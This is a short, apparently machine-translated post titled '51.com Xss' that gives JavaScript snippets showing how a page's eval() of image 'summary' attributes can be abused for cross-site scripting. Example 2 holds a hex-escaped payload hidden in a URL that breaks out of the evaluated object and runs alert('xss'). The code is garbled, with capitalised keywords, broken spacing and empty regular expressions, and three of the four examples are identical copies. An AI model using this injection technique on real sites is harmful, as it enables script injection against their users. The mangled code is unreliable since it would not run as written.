51. com Xss

Jsbug

Example1:

<Script language = "javascript" type = "text/javascript">
Var len = document. images. length;
For (var I = 0; I <len; I ++ ){
O = document. images [I];
If (d = o. getAttribute ("summary ")){
Alert (d );
Da = eval ("(" + d. replace (// ig ,""). replace (// ig ,""). replace (/<br/>/ig, "") + ")");
Alert (da. u );
}
O = da = null;
}

</Script>

Example2:

<Script language = "javascript" type = "text/javascript">
Summary = "{u: http://hi.baidu.com/jsbugx27x7dx29x3bx61x6cx65x72x74x28x27x78x73x73x27x29x2fx2f,w:auto,h:auto }"
Da = eval ("(" + summary + ")");
Alert (da. u );
</Script>

Example3 :( shit)

<Script language = "javascript" type = "text/javascript">
Var len = document. images. length;
For (var I = 0; I <len; I ++ ){
O = document. images [I];
If (d = o. getAttribute ("summary ")){
Alert (d );
Da = eval ("(" + d. replace (// ig ,""). replace (// ig ,""). replace (/<br/>/ig, "") + ")");
Alert (da. u );
}
O = da = null;
}
</Script>

Example4:

<Script language = "javascript" type = "text/javascript">
Var len = document. images. length;
For (var I = 0; I <len; I ++ ){
O = document. images [I];
If (d = o. getAttribute ("summary ")){
Alert (d );
Da = eval ("(" + d. replace (// ig ,""). replace (// ig ,""). replace (/<br/>/ig, "") + ")");
Alert (da. u );
}
O = da = null;
}
</Script>